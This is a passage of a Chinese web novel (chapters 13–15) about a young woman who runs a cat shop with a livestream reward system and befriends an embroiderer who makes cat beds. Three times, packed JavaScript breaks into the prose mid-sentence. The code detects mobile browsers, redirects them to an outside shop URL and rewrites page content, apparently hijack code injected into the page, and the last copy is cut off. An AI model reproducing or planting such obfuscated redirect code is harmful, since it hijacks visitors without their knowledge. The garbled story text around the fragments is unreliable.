福来一脸疑惑,心想不是还在琢磨图纸吗?但他也没细问,虽然福来知道开这个店是干一桩不大不小、但不一定靠谱的事情。 但福来觉得不靠谱也没什么,铺子开着开着,说不定哪天就变得蒸蒸日上了… 13. 第十三章 巧乐巧乐 名字可爱 铺子的装修还在继续,沈令遥时不时安排着基础模拟对屋子里进行不同的装修安排,以此比较着不同的模式能带来多少的完成度。 这天,沈令遥一早从铺子回来,阳光在青砖地上映出碎碎的光点。 她手里提着昨晚收拾出来的破陶罐,说是种猫草,这会随意撒的种子能发芽,这让她嘴角忍不住上扬,心里期待用它种猫草是不是也能顺利发芽。 福来已经蹲在门口摘豆子,院墙边那棵树枝被风吹得沙沙作响,院子里挂着的晒干的衣服摇晃着像起飞一般。 “前些天来的杜绣娘,是不是常年不出门啊?”沈令遥低头放下陶罐,又抽了块抹布擦手。 “怎么了?”福来有点诧异地抬头。 “我总想着她的神情,她来的时候,脸色看起来……算不上难过……”沈令遥没有继续说,但那种表情就是一种对什么事情想要靠近又像是逃跑的状态,很微妙…想到这沈令遥顿了顿,“我第一次见她那天,她其实对我挺冷寞的,像是防着人。” 福来“哦”了一声,然后好奇问起来,“你第一次见她?是说上周?应该是上周吧,就是去她店里那次吗?” 说着话,福来挪了挪身子,空出位子,沈令遥走过去坐在那里,顺手帮他剥豆壳。 “是了,就是那次……不过她为什么叫‘绣娘’,看她手艺,不是她家本就制香吗?” 福来低着头,小小年纪挺有经验的,用大拇指碾着另一只手的指节,借力剥开豆子动作不停:“因为她娘是做绣工的,她小时候其实也学过。后来她喜欢上调香,说绣花虽巧,但香是活物,能让人闻到香气而情绪受其影响。” “可她娘不喜欢。觉得一个姑娘家,在家里绣点嫁衣、香囊、围帕,才是正道。调香用到许多木料药材,火啊灰啊的,哪像个好闺女干的活。”他说着叹了口气。 “她……”福来顿了顿,犹豫了一下,好像有什么事情让他想说又觉得不好,“我听别人说,她以前其实很爱笑的,跟我娘还挺熟的。后来成亲了,夫家有制香的店,她也就顺势继续做香了。不过后来她娘家绣坊出事,她爹病了,丈夫也…家里一下子就紧起来。她娘又是那种做事利落不带情绪的人,绣得一手好针脚,但说起话来——” 他说到这儿,用手在空中比划了一下,好像要找出一个词来形容那种冷淡,又好像在思考自己说这么多算是长辈的事情是不是不合适。 “就像……”沈令遥像是注意到他的为难,而后慢吞吞地接话,“像煮不透的醋,喝下去嘴里算不说,连着胃里也翻的难受。” 福来愣了一下,随即低头笑了:“你形容得挺像。” “所以,她这是因为她娘不同意?想要做自己喜欢的事情,也想得到认可,但又一直不得其要领?”沈令遥抬眸。 福来点头,又摇头,“一开始是不同意,后来勉强接纳了吧,但听说那几年也闹得厉害,听说连话都不说。前几年她又要做木雕熏香,学得又不规矩,她娘就更火了……哎,多少年都僵着,现在她娘年纪大了,手不稳,也不肯低头。她自己也怕。” 沈令遥捏着豆荚的指尖顿了顿,轻轻地把拢在手心里剥好的豆子搁进瓷碗里。 “所以那天她看到我第一天,脸上看着冷冷淡淡的,既有猫不见了难过,也是想和她娘和好却又无从开口。” “你也能看出来啊。”福来忍不住说着。 “我以前没看出来。”她看着碗里的豆子,圆噜噜地,估计杜绣娘平日里听到大家说话也是话里话外都圆滑的很。 自己还是不了解这些人,但如果不了解,就无法拍出合适的视频,想到自己的生存指数和可能匹配给出来的装修物资,沈令遥心想,还是得认真对待这些来找她的人和猫… “说到底,是我这个人太漂浮了。”想说的太多,沈令遥最后还是这样总结着自己,而听到这个的福来一愣,偏着脑袋看她。 她继续低声道:“我以前……其实没想那么多。我总觉得自己是只是开个铺子,只要顾好自己的事就行。可是她站在那里抱着猫的样子,又让人看得出来故事。”沈令遥低笑一声,又带点自嘲,“可现在我开始觉得,有些人……值得驻足看看。” 福来摸了摸鼻子,“你最近怎么突然关心别人起来了?” 她从坐着的凳子上起身,手里拿着一碗满的豌豆,人走到门口,又顿了一下,回头走回来看向福来:“你喜欢什么?” 福来“啊”了一声,整个人像被这句话轻轻拍了一下,差点把手里的拢着的豆子洒了一地。 “你问我?”他用另一只手指了指自己,脸上写满了不确定。 “对呢,你喜欢什么?你每天跑腿又帮我养猫,我都记着呢。” 他一下子像被问住了,愣了好几秒,才挠着头小声说:“我啊……我其实也不知道。” 李福来不是不知道,他只是不敢说,其实他原本是受托才来的,对方给了李福来钱让他帮着点沈令遥,本来时间已经到了,他在等那人出现在问问是不是要继续,可可那人一直没露面,李福来也就赖下来了,反正他也是真的喜欢猫。 心里这样想着,他低头踢了踢脚边的柴火,也不知道怎么回答自己喜欢什么。 沈令遥眨了下眼,没再追问,只回身走进厨房,笑着说:“那就先喜欢上今天这锅豆子炒鸡蛋吧。” 福来看着她的背影,有些迟钝地笑了,喃喃念了句:“也成。” 随后他低头捡豆壳,装作很认真地整理着豆荚,像是里面藏着什么。 沈令遥没接话,想起那天福来抱着木盆在巷口跑得飞快的样子,他眼里对猫的态度倒不像是假的。 答案是什么也不一定重要,或许,哪天跑腿福自己就愿意说了。沈令遥站起身,拍了拍衣襟的尘土,然后拿起他剥的一碗豆子,嘴里说道,“你就留下来吧。我的铺子也快开了,以后你帮我跑腿,我给你分红。” 福来听着这个,神情奇怪,像吞了一颗话梅酸的很。福来嘴角抿了又翘,最后闷闷地“哼”了一声,倒没有以前的腼腆了。 “还不如给我个烧饼实在点。” “中午就吃豆子炒鸡蛋,还有你喜欢的烧饼。” “成交!” …… 福来喜欢吃烧饼,他拿着沈令遥给的钱去买,顺带回来的还有米,福来把买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386008|200256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来的米倒进陶罐里时,还特意举得高了一些。 沈令遥瞥了他一眼,却没有说话,只将砧板上洗净的芹菜拨进陶盆里,用指腹一点点拂去漂在水上的芹菜叶。 菜不能只有一个,芹菜炒豆干也是不错。 厨房里一时安静下来,只有炉火噼啪噼啪地燃着,火舌慢吞吞咬着炭木。 沈令遥没说话,不知道想到什么,微微笑了笑。 窗外恰巧风正起,风从前屋吹过来,混着烟火气,像是一种不动声色的安慰,落在两人的肩头。 ……… 饭后不多时,沈令遥倚在窗边细细吃一颗山楂,茶水在盏中晃动出一圈圈涟漪,日子就这样随意打发着… 门外传来几声猫的低叫,是馀香猫在窗下踱步。 巧乐巧乐,名字倒是可爱的很。 只是刚来的时候毛发上就带着一种熏香味道,因这种残留的香味而唤它馀香猫,现下再看,很是贴切。 就是巧的很,杜绣娘的巧乐离家出走好些时间还就找到了她的院子,这缘分也不止早前画的一幅画像了,天下还有这样巧的事情。 福来看了一眼:“它啊,昨天又跑到香意铺去了,真是个两头跑的滥情狸奴。” “哈哈哈…”沈令遥忍不住笑了,随后低声道,“它是杜绣娘的狸奴,但来咱们这吃饭,也是欢迎之至的。” 福来顿了一会儿,慢慢点头:“那还真得给它准备点好吃的。” 她轻轻一笑,接过他递来的纸笔,写下了一张猫食的方子。 风穿过窗隙,掀起桌上薄纸的一角,沈令遥忽然觉得有些事情,似乎从这一刻开始,终于有了落点。 方子就算不写她也记着,只是怕哪天只有福来在家记不住,连着方子也是画的鸡的样子去弄的。福来拿走方子顺着风晾一晾。 而沈令遥蹲在灶前,将淘洗干净的米放入小锅,又取了几块切细的鸡肝鸡心,加一撮姜丝,添些温水。 不知道早前烧糊的鱼粥是不是还不熟悉,但最近沈令遥觉得自己做饭的手艺有所提高。 木柴烧得正旺,锅底传来轻轻的咕噜声。她听着那声音,慢慢拌着锅里,不知怎的,竟生出几分踏实感。 她这几日翻过柜中旧册子,居然找到了一本册页泛黄的书,其上写得煞是认真:猫性喜暖畏湿,饮食宜少而精,尤喜腥味之物。 书中还提到“常以鸡肝、鱼脍佐饭,其毛亮而性驯。”她忍不住笑,养狸奴果然讲究,连猫食也如喂养小儿一般精细。 她照着做了几次,今儿这锅应该味更甚。 旁边的灰陶小碗早就洗净晾干,就当是猫的饭盒, 那只巧乐不知何时已蹲在门边,鼻尖抽了抽,喉咙里发出一声柔软的喵,仿佛嫌她手慢。 沈令遥轻声笑了下,把锅端起,先盛一小碗放凉,才摆在巧乐面前前。 她蹲着看它吃饭,日光落在她额前的发间,照出一点细细柔光。 “慢点吃,”她低声念叨,“今日先这样吃着,明日再给你做鱼脍羹。” 猫不答话,只埋头吃饭,尾巴却轻轻一甩,在她指尖扫过一下,像是无声感谢。 14. 第十四章 杜绣娘 雨过天晴,巷子尽头的云退了几分,阳光从屋檐缝隙里漏下来,斜斜照在檐下的猫背上,远看猫猫的毛发一动不动地铺展开,像是慢慢晾干的绒布。 沈令遥正蹲在院子里擦猫爪垫用的陶碟,指尖拂过釉面,有点儿冰。 院子里有风,有猫,有阳光,气候温和如常,一切都好得不真实。 她把擦干的碟子摆回架上,拍了拍手,起身进屋,照例上线直播。 刚一接通,弹幕就刷了满屏: 【今天猫咪穿什么?】 【主播你考虑过开发猫周边吗?】 【要不做点项圈、围兜啥的,猫咪配饰,太好看肯定大爆!】 【要是有会绣猫眼睛的巧手就好了~】 沈令遥被这句会绣猫眼睛绊了一下。 她忽地想起杜绣娘来。 不是没有缘由的。 其实从福来讲了杜绣娘的事情开始,沈令遥就觉得应该是可以请杜绣娘帮忙绣制,再者她的故事型视频还需要真的挖掘人物的故事。 最初见到杜绣娘抱着巧乐站在门口,神情克制到几乎近于冷漠。可她怀里的猫却主动蹭着她的怀抱,一只不容易亲近人的猫却亲近她,这显然有了答案,或许杜绣娘也只是看起来如此。 她抱猫的手极稳,那指腹下的线茧就像年深日久做香留下的痕迹。 但沈令遥记得,在她垂眸安抚猫的时候,掌心和手指却露出些细小圆润的针孔疤。 那是绣人常有的伤痕,或许杜绣娘玩香制香,也不曾放下锈工… “福来。”她招呼道。 李福来正靠着门框磨着一块砚石,听见动静探头:“怎么了?” “你还记不记得杜娘子?” “记得啊。你那天见着她了吧?她是做香的,可她娘当年可有名了,是有名绣坊的招牌。”福来挠挠头,“其实杜娘子她自己也学得像模像样。” 后面的话,福来没有再继续说了。 “哦……”沈令遥轻应一声,唇角含笑。 “你想要找她绣点啥?”福来试探着问。 “嗯,”她也不解释太多,只淡淡吩咐,“你要是路过她铺子门前,就说我这边猫铺要做装饰,缺个会绣猫眼睛的。” “这话我能记住。” “别多说,就这一句。” “得嘞。”福来应声。 天擦黑前,猫窝边多了一样东西,一块手绣的细帛。 帛布四寸见方,边角卷起针线缝得极细,中心绣着一只猫爪印,暗红底线上缀着几针浅金色丝线,看起来像刚踩过香灰的猫掌。 送东西的人没有留下话,只敲了门就走。 沈令遥打开门,只看见巷口远远一个背影,披着半截暮色,像雾里浮出的一笔没点完的浓墨。 她没有追。 手里的帛布很轻,绣线却实在,是熟手手艺人才能落出的密针。沈令遥看了一会儿,唇角轻轻勾了起来。 屋子里正煮着茶,水壶哧哧响着,猫都围在火盆边晒着肚皮。 她找了个小垫子放在门边,再摆上一个茶杯,过了会儿,门再次响了。 杜绣娘还是那身沉色衣衫,等她走进来,巧乐自己跳上她怀里蜷得像个香囊。 “进来坐坐吧。”沈令遥开门,让她进屋,“刚好有茶。” 杜绣娘没说话,只轻轻点了点头。 她接过茶杯,手指一圈热气氤氲得通红。 “你有没有见过猫洗澡?”沈令遥忽然问。 杜绣娘愣了下,低头看着馀香猫,摇头:“没有。” “我也没有。”她端起茶杯,喝了一口,“不过前两天有只猫自己跳进水桶,泡完还蹭了我一身。” 杜绣娘轻笑出声,那笑不响,却晃了茶水一圈涟漪。 那晚的光,正斜斜洒进屋子里,像轻轻打开的一扇纸窗,折射着杯底蒸汽、炭火余温,还有两人围着猫窝试着缝补绒布的模样。 屋里猫来猫往,有的趴在桌上,有的踩过未收拾的绣线团,尾巴抖得东一绺西一绺。 弹幕此刻也沸腾: 【这氛围……温柔疯了,有点古诗词的意境了】 【猫窝手工定制!快开预定】 【我想要猫爪印头花一打】 【系统系统系统,给点猫窝主题礼包更换吧!】 几息之后,系统屏幕除了日常拍摄故事型视频得主任务外,屏幕右上角弹出新的提示: 【支线任务触发:首次猫窝及猫定制饰品制作】 【奖励:木制道具1份(用途未知)】 【提示:猫是店铺的魂,猫窝和饰品是它的壳】 沈令遥扫了眼系统提示,又看了看杜绣娘手边那块猫绣帛,轻声道:“我打算把这个做成一个猫挂饰,你看怎样?” 杜绣娘低头抚了抚怀里的猫,轻轻点头:“好看。” 天色渐深,巷外灯火开始亮起。猫窝里的炭火烧得红亮,两人没再多说话,却也没有沉默的尴尬。 那只叫巧乐的猫拱了拱身子,换了个更靠近炭火的位置。 风吹过敞开的门,屋里茶香还在。 …… 夜渐深了,巷子里响起挑灯人脚步声,一盏盏灯火顺着长街亮起,像天幕低垂时人间点燃的星辰。 屋里却还未睡。 杜绣娘没有走,她留在沈令遥的家里,趁这个时间里,把那绣了猫爪的帛布轻轻铺开,细看之下,针脚极密,藏着一种说不出口的耐心与克制。 沈令遥从旁搬来一只旧竹框,是她白天从杂货摊那儿淘回来的,原想做成晒猫草的小笼,却一时无从下手。现在拿出来,倒像是刚好等着与这帛布缝合。 “这个做猫窝的底,你看成不成?”她问。 杜绣娘不答,俯身摸了摸竹框边角,又指了指帛布的边缘:“帛太薄了,要垫些麻衬,猫压着才不滑。” 她说话时仍带着微微的紧张,话音一出口又有点后悔似的,手指无声地收了回来。 沈令遥却顺着她的话点头:“那就照你说的。我们今晚就试做一个。” 两人坐在炭火旁,院子里只剩下猫的呼噜声和偶尔夜风扫过屋角的低响。 杜绣娘动作极稳,手中绣针穿梭如鱼。她没有多言,只是低着头,一针一线地缝着那只猫窝底座,像是早习惯了在寂静中做完一整件事,不求被人看见,也不怕被人遗忘。 沈令遥在旁给绣线打结,试着把边角缝紧,不太熟练,却也慢慢找到节奏。 而沈令遥的直播仍在开着,这次摄像头挂在空中,摄像镜头斜斜对着一角桌面,能看到两人的动作,弹幕热烈得像灯市人潮: 【不愧是绣娘,绣得太美了!】 【猫窝直播做手工这也太治愈了吧】 【主播你再说一遍那帛布哪来的!!我要定制款】 【能不能抽签送几个挂饰!】 【建议开直播店铺周边投票,猫爪挂饰、定制围兜、猫牌项圈……我都要!】 沈令遥看了一眼屏幕,笑着应了一句:“那……我们是不是要考虑招个绣工?” 跟我说话吗?杜绣娘杜绣娘手上的动作一顿,没抬头,却是低声道:“我闲着也是闲着。” 她这句我闲着也是闲着,语气像极了猫打个哈欠,随口却温柔,听得人心口一暖。 沈令遥没再说什么,只把另一块粗布递过去:“那你再看这个,我剪得不太整。” 两人一边缝着,一边偶尔低语,说得最多的是猫的生活。 “你见过狸奴下崽吗?”杜绣娘问。 沈令遥一怔:“没有。” “我家后院以前有只狸奴,一胎生了六只,就在柴房后头。她自己咬断脐带,舔干净小猫,叼来一只只排成一排晒太阳。” “哇……” “你说它们也不懂字,不会说话,也没人教,可就是知道该怎么做。” 她说到这里,语气淡淡的,像在说别人家的故事。沈令遥却忽然觉得,她说的或许不仅是猫。 她望了眼炭火,垂在脚边的那只猫尾巴刚好甩了一下,落在绣娘的鞋边,又慢慢拖回来。 这时候,系统的界面再次弹出: 【系统提示:定制周边首次试作完成,猫窝】 【任务完成奖励:木制道具*1】 【木制道具用途:基础门店布置解锁功能,即日起可自定义陈列格、挂饰栏、墙面装饰】 【自动存入储物仓,请在必要时调用】 【系统备注:当前定制类支线任务开放,请留意直播中观众建议,探索更多猫系风格周边】 沈令遥盯着屏幕,心里忽然升起一点像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386009|200256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在捏橘子皮时爆出的汁液般的雀跃,苦日子不知什么时候能彻底翻过,但系统这个木制道具听起来,至少意味着,她的猫铺,会慢慢成型。 猫,也会在这里留下爪印,和别人的故事一起留下来 沈令遥朝杜绣娘看了一眼,后者正用银针挑起最后一根绣线,收针打结。 “好了。”杜绣娘说。 猫窝已经成型,不完美,但柔软、温暖,看得出来是花心思做出来的东西。 屋外灯火通明,远处街道那边传来有人还没收摊的吆喝声。 “它以后就睡这个。”沈令遥伸手摸了摸猫窝的边,“谢谢你。” 杜绣娘抬起头,眼里有炭火反射的微光:“我也谢谢你。” 一猫一人,一针一线,有时候,一份谢意,不是为了当下,而是为某一刻重拾的勇气。 …… 除了绣了猫爪的帛布,那猫窝最大的布料是用剩下的蒲团边角布缝的,内衬软棉,外套是绣猫爪痕帛布,看起来倒像是哪个调皮鬼猫夜里偷偷留下的脚印。 杜绣娘没说话,指尖抚着那几道针脚,像在自己脑中对着纸样复盘,针脚一笔一笔地数。 沈令遥倒了茶放在她手边,也不催,只在旁边视线翻着弹幕看着。 有观众问:【那个猫窝能量产吗?】 【猫爪图案有点意思,求链接。】 沈令遥拿着猫窝晃了晃,思维点开字幕回复,连忙打字回答着大家的疑问,【大家别着急,这才刚做出一只。试用品试用品,现在只有一个。】 她一边说,一边默默记下这些需求点,心里盘算着下次是不是要多做几个备用布样放着。 杜绣娘抬起头,终于开口:“其实这针线活不难,我可以帮着做。” 杜绣娘像是在回答几分钟前沈令遥自言自语一样的问是不是要招个锈工。 听到杜绣娘的答案,沈令遥歪头看她:“那猫眼睛呢?猫尾巴的转弯要绣得活灵活现,这就不容易了。” 杜绣娘没说话,只是微微一笑,像是被激起了某种久违的手艺之心。 她接过沈令遥递来的布料与纸笔,一点点画出猫的眼神,线条淡而灵动。 “这狸奴不是憨的,是有点小聪明的样子。”杜绣娘忽而说。 “你见过的狸奴是不是都这性格?”沈令遥顺着话问。 “也有傻的。”她笑了笑,“我在养巧乐之前,还养过一只狸奴,那只常往香炉边钻,搞得整天身上都是檀香味,跟个狸奴小和尚似的。” 沈令遥笑出来,一边把剩下的布料铺开,递给她:“你帮我再画几种狸奴的神态,我看看哪一种最适合做锈图。” 弹幕已经开始躁动: 【我要那个小和尚猫的版本!】 【绣完能加工成冰箱贴之类的吗?我想贴在冰箱上。】 除了弹幕的内容外,支线任务也有了一些新的变化,沈令遥低头一看,系统浮窗跳出: 【支线任务完成·猫定制饰品试制成功·奖励:木制猫碗支架*1(已存入仓库)】 【提示:当前猫用品初始开发度达成15%,解锁下一阶段设计图模板。】 沈令遥看着那个图样跳出来的瞬间,脑子里忽而冒出来自己目前的任务,好像夹杂在一起已经有不少了。 系统目前给予的支线任务开发猫用品等就给店铺使用物资的任务;必要的主线任务拍摄的短视频维持生存指数;每天直播换一些打赏的物品能兑换生活费用;还有粉丝打赏的装修模拟系统,每次给她模拟的装修风格打分来赠予物资。 沈令遥发现,好像她在这里的生活没有很难过,但也并不是能停下来只顾着休息的情况。 想到着,沈令遥远了也只是将那布条晾在架上,又端茶给杜绣娘:“你如果想,之后猫窝也可以给你做款式主设。” 杜绣娘怔了一瞬,没立刻应下。倒是巧乐自己从桌下钻出来,伸爪子挠了挠那猫窝的边角,像是在说:这个还可以。 “你看,巧乐挺满意。”沈令遥将茶推过去,眼神淡淡却温和,“你以后常来看看巧乐吧。” 杜绣娘低头看那猫,像终于找回了一样东西。她抚了抚猫耳尖,才点了点头。 猫窝里盘着巧乐,暖呼呼温热着,针脚密密匝匝,像是将某些没说出口的思念缝进了柔软里。 15. 第十五章 第二日午后,福来回铺子整理新到的小布料,刚推开半扇门,就被一群女声的声音吓了一跳。 “就是这个猫窝吗?哎呀,这花样好精致……” “猫爪子这几针怎么绣的?像浮在布面上一样。” “谁绣的?是谁做的?” 几人围在那只猫窝前,小心地不敢碰,只在边缘比划着指头,小声评头论足,一副进了宝地的模样。 那窝里的灰白懒洋洋地翻了个身,巧乐趴在猫窝边上,尾巴绕着自己脑袋,耳尖都不动一下。 “你们小心点啊,”福来将柴门抵开一些,“再吵就要给它们做梦里窝去了。” 来的都是前些时间喜欢求猫图的女娘们,大多还是那些熟悉的面孔,因为熟悉了也不怎么在意福来一个小孩的话,大家嘻嘻一笑,嘴上应着知道了,却不见少动静。 今日,杜绣娘来得极早,站在铺子后檐廊下,看着那猫窝,又看了一眼猫。 她没说话,手上拎着一方小布匣,是前些日子沈令遥让她带回去绣第二版图样的稿纸。 沈令遥从屋中走出来,一眼瞧见她,像是早就知道她会来,手一伸:“试样呢?” 杜绣娘递过去。 那是一张长条绢纸,画了三种猫的姿态,躺着、蹲着、翻肚皮,都是工笔勾线,标好色号,有点彩铅素描的味道在了。 “真的不错诶,我很喜欢。”沈令遥眯着眼看,认真地点评,“不过翻肚皮那只笑得太得意了,我觉得会被欺负。” 杜绣娘偏头:“它不会,它就是这性子。” “像你啊?”沈令遥眼带笑意。 杜绣娘轻轻哼了一声,没应。 沈令遥看她站着不走,也没催,只在门边挂了一个牌子,上面写了几个小字:【猫窝打样中,谢绝打扰】 然后喊福来过去,交代了一番,福来也很快请这些下完单的姐姐们离开,并保证店铺在有些日子就开了。 “你们要是缺住税,我能资助点。”一群女娘离开,很快一个人折返,对着福来小声落下一句话后又离开了。 拉着杜绣娘坐进屋里的沈令遥还不知道这些,她只是招呼着杜绣娘进来,说道,“今天开始是猫窝小工坊。杜娘子还请帮忙看看新的猫窝怎么收拾更好。” 弹幕飘来飘去的。 【明白!尊重工艺!】 【杜娘子快出道!】 【今天一定要截图存图,这图样我老婆爱看。】 【全是猫,不能我指定云养一只吗?】 杜绣娘听着沈令遥话里的信任,她低着头笑了一下,不明显,却比昨日柔和许多,她忽而说:“我小时候,也养过一只狸奴。是隔壁卖糖人的送的,小的可怜,常被人踢。” “然后呢?” “然后有一天不见了。娘说是给邻居捉老鼠去了,也许真是,也许不是。” 她没继续往下说,沈令遥却没问,只将桌上的热茶往她那边推了推。 “狸奴都记得路。你看,它最后都能自己回来。” 那猫窝安安静静地放着,各只还在里面睡,阳光穿过木格窗子,斜斜地照进来,把猫耳尖的茸毛都染得发亮。 旧的客人离开,新的客人又来了,新来的女孩们继续围在门口,嘴里问东问西。福来干脆搬了张小矮凳放门口,说:“谁想报名做猫窝,来排队吧,登记下您的信息,很快安排您的猫窝制作。” 沈令遥坐在屋中不动,只隔着窗听着外面嘈杂和嬉闹,忽而觉得这种人气靠猫,靠猫窝,靠一个一个细碎的故事。 还没开始的猫铺子是真的在变热闹了。 杜绣娘盯着窗外人影,轻声问:“你的铺子,还没有弄好吗?”潜意识里也担心沈令邀的铺子以后真能开下去吗? 沈令遥端起茶盏,慢悠悠地答:“只要狸奴不跑,事就都好说。” 她没说的是她自己也想留下来,不再像以前那样四处漂浮。 弹幕涌起一片【为猫窝投票!】【快上线更多猫窝!】【猫窝配套系列必须安排!】 其中不乏好多催更短视频的观众,不过那些弹幕还没来得及看,沈令遥收到系统的提示: 【系统提示:新标签解锁猫窝工艺】 【道具更新:工坊木案开放试用,目前支线奖励木制道具部件等待存入仓库】 【店铺热度+5%(店铺热度微升)】 窗外风吹来纸帘微动,热茶香与布料味混在一起,一只猫打了个滚,把自己从窝里摔了出来。 “你看,”沈令遥笑着捡它回去,“它都嫌咱们说太多了。” 杜绣娘没再说话,只伸出手,一针一线地描着下一个图样。 …… 次日午间,福来用水擦了半天的门檐,终于把猫窝工坊试营业五个字贴在了住宅的大门。 字是沈令遥写的,用炭笔先勾了底稿,又拿白色细笔描过一遍,末了在猫字上点了个小爪印印花,粉红一团,像猫梦里翻身时踢出的脚掌。 “这就算是正式挂招牌了?”福来小声问。 “嗯。”沈令遥将墨笔收起,“不是正式,咱们的铺子还得等住税攒够了才能开始,所以现在就先在自家院子里接点活。” “啊?原来是这样。” “而且,我有预感,可能我这辈子是靠猫吃饭的命。”沈令遥这样说着,福来听着也只是嘿嘿笑了一声。 门一打开,午后的阳光扑了进来。比起晨昏,午间的光最是诚实,把屋内的一切都照得清清楚楚。 沈令遥将三只试做的猫窝摆在门边,每只下方都贴了一张编号及绣娘姓名小签。猫窝边竖着一个简陋木板写的“狸奴试睡中,勿动”。 三只猫自己挑了窝,铺陈着猫毛打盹,神色安详,仿佛正参与某种极其严肃的评选。 “这只喜欢绣风花的,那只喜欢贴锦缎……”沈令遥记着猫的选择偏好,听起来像是自言自语,但其实跟看直播的观众交流。 同时,弹幕依旧刷得飞快: 【猫窝打分机制上线了吗?】 【投福来的票,他连拖地都认真!】 【杜娘子的猫窝绣猫耳!我心动了!】 沈令遥正要回复,忽听得外头人声一阵,“这儿便是新开的那狸奴铺子?我家娘子那狸奴睡塌了席子,正说想寻个好些的呢。” 门口来了一位少年郎,十四五岁模样,背着个油布包袱,肩膀歪歪斜斜,一看就是给谁家跑腿的。 他探头进来,鼻子动了动,像是闻到了猫窝里混着晒干薄荷叶与艾草的味儿,笑说:“唷,这气味可比我们家药铺香。” “你是来给狸奴买窝的?” “替人来看看。”少年说着,从怀里摸出一方折叠整齐的蓝布单子,递了过去,“这是咱东头清和堂的符娘子,想要订个猫窝,不挑样,绣字得绣个静字。” 沈令遥接过蓝布,翻看了一眼,点点头。 “告诉她,狸奴窝是狸奴选的,不是人挑的。” “那怎么卖?”少年兴致勃勃,“看狸奴眼色给价?” “看狸奴们睡得久不久。”她笑。 少年走后,福来在旁边默默记了笔账:“东头清和堂,符氏娘子,订一个绣着静字猫窝。” “福来。”沈令遥忽然问,“你觉得我们这铺子,是不是有点样子了?” 福来看了眼猫窝、木牌、贴纸和晒在门口的布料试样,再看看院里阳光正好、猫睡得香,一本正经道:“像了。挺像正经营生了,但只开在自家院子里是不太合适的。” 沈令遥站在门口看天,像是又要说什么。 忽然,系统界面缓缓弹出: 【支线任务完成:首次猫定制饰品接单】 【奖励发放:木制多功能展示架x1】 【提示:展示架将于今夜由系统投影方式添加到建筑模拟板块,请妥善布置】 屏幕内弹幕炸了: 【奖励终于来了!!!】 【求上展示架后猫窝三选一投票活动!!】 【老板娘什么时候开猫服饰专栏?!】 沈令遥没搭理弹幕,而是看向角落一只揉耳朵的奶油黄猫:“你选哪一个?嗯?” 那猫舔了舔爪子,一步步慢悠悠挪向了最左边那只猫窝,窝面绣了金线,爪爪落下时微微凹陷,像陷入了梦的边角。 沈令遥唇角扬起,低声说:“行吧,就它了。” 她不知道远处枝柳巷拐口,杜绣娘正站在门缝里,悄悄看着她这一切。 看着她怎么把铺子在自家院子里开起来,怎么对着空气说话,怎么给猫挠痒痒,怎么慢慢地……有了个家。 …… 沈令遥打算自己也绣一个猫窝,她将那块绣着猫爪的布片铺在小桌上,指尖顺着那团绣线描摹,布质略粗,绣线却细致规整,绣出的猫爪并不讨巧地仿真,反倒带了点小孩子气的圆润与天真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈令遥笑得眼睛弯起:“我有次也洗它,然后从桶里窜出来,尾巴像抹布一样贴墙跑,我一整天都在抓他它要重新洗。”她顿一顿,又试探地看她:“要不咱们这次做猫窝,就加点新的东西,比如缝几个被子放在窝里?” 杜绣娘没说话,却低头将绣布收回怀里,轻声道:“行。” 她嘴角一扬,没出声,只顺手拍了拍刚装好绷圈的小布片,把小猫爪那一角翻出来,对杜绣娘说:“看,这小猫都给你留爪印了。你总得常来看看它,不然它可要怪我怎么总是见不到你。”杜绣娘点头,神情极淡,唯有眼角一抹笑意轻轻荡起。 猫窝初制完成,是一件有些拙朴的玩意儿,木枝条拼成一圈半高的框,外头裹着几层粗布,还没来得及缝边,就被猫叼了条草根跳进去占了位子。 沈令遥蹲在门槛边,看着那团橘猫把自己团成一枚糯米团子,尾巴刚好挂在窝边缘。 它似乎很满意,张嘴打了个哈欠,胡须颤了颤,眼睛一眯,像是要沉沉睡去。 系统这时蹦出提示音:【支线奖励木制道具部件已存入仓库,可手动提取。是否立即提取?】 她心里应了句“是”。 下一瞬,一块温热的、打磨平整的木板出现在她脚边,刚好是猫窝顶盖的一部分样式,还预留了卡槽和装饰插孔,好在是有桌子挡着,就算突然出现也没有人关注到有什么不妥。 沈令遥只摸着那块木板边角,嗅到一丝淡淡的柏香。 “系统,你确定这些奖励是现实中可使用?”她在心里问。 【确实。系统奖励仅在用户完成关键行为后触发,奖励将以可在现实中使用的形式呈现,但不会显著超出时代技术限制。】 她点头,把那块木板安安稳稳嵌入猫窝顶部,正好形成一个遮光小屋。橘猫尾巴甩了一下,像是满意地动了动。 杜绣娘倒是对这个过于合适的木板感到好奇,但想了想又觉得一个木板而已,没必要过于关心,也就不再思考这个事情了。 时间有些晚了,杜绣娘很快道别家去,只剩沈令遥一个人在院子里对着猫窝发呆,就这样等了许久,她才托着下巴,自言自语道:“忘记了,还得剪一支视频。” 福来从院门回来,看到她又在对空气讲话,摇摇头,嘟囔着:“姑娘又开始发傻了……” 她懒得解释,只抬手招呼他来看看木板猫窝的最新成果。福来走过来一看,惊道:“这木头哪来的?我前脚刚出去,后院都没看到呢。” 沈令遥慢条斯理地说:“老天爷赏的呗。” 